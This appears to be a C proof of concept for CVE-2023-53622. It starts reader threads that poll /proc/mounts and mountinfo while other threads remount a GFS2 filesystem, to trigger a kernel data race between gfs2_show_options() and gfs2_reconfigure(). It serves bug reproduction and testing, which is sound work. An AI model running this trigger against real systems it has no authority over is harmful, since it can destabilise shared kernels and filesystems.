// CVE-2023-53622 PoC - Trigger data race in gfs2_show_options()
// This PoC demonstrates how to trigger the race condition by concurrently
// accessing gfs2_show_options() while modifying gfs2_tune fields.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#define GFS2_MOUNT_POINT "/mnt/gfs2_test"
#define NUM_THREADS 10
#define ITERATIONS 1000
// Thread function to trigger gfs2_show_options() via /proc/mounts or mountinfo
void* reader_thread(void* arg) {
char buf[4096];
int fd;
for (int i = 0; i < ITERATIONS; i++) {
// Reading /proc/mounts triggers show_options for GFS2 filesystems
fd = open("/proc/mounts", O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof(buf)) > 0);
close(fd);
}
// Also try mountinfo which also calls show_options
fd = open("/proc/self/mountinfo", O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof(buf)) > 0);
close(fd);
}
usleep(1);
}
return NULL;
}
// Thread function to modify gfs2_tune via remount
void* writer_thread(void* arg) {
for (int i = 0; i < ITERATIONS; i++) {
// Remount with different commit value to trigger gfs2_reconfigure()
// This modifies gt_logd_secs which races with gfs2_show_options()
mount("none", GFS2_MOUNT_POINT, "gfs2", MS_REMOUNT | MS_NOSUID, "commit=1");
usleep(1);
mount("none", GFS2_MOUNT_POINT, "gfs2", MS_REMOUNT | MS_NOSUID, "commit=60");
usleep(1);
}
return NULL;
}
int main(int argc, char* argv[]) {
pthread_t readers[NUM_THREADS];
pthread_t writers[2];
printf("CVE-2023-53622 PoC - GFS2 Data Race\n");
printf("Attempting to trigger race condition between\n");
printf("gfs2_show_options() and gfs2_reconfigure()\n\n");
// Check if GFS2 is mounted
struct stat st;
if (stat(GFS2_MOUNT_POINT, &st) != 0) {
printf("Error: GFS2 not mounted at %s\n", GFS2_MOUNT_POINT);
printf("Please mount a GFS2 filesystem first.\n");
return 1;
}
printf("Starting %d reader threads and 2 writer threads...\n", NUM_THREADS);
// Create reader threads (trigger show_options)
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&readers[i], NULL, reader_thread, NULL);
}
// Create writer threads (trigger reconfigure)
for (int i = 0; i < 2; i++) {
pthread_create(&writers[i], NULL, writer_thread, NULL);
}
// Wait for all threads
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(readers[i], NULL);
}
for (int i = 0; i < 2; i++) {
pthread_join(writers[i], NULL);
}
printf("Done. Check kernel logs for any race condition warnings.\n");
printf("Use 'dmesg | grep -i race' to check for BUG reports.\n");
return 0;
}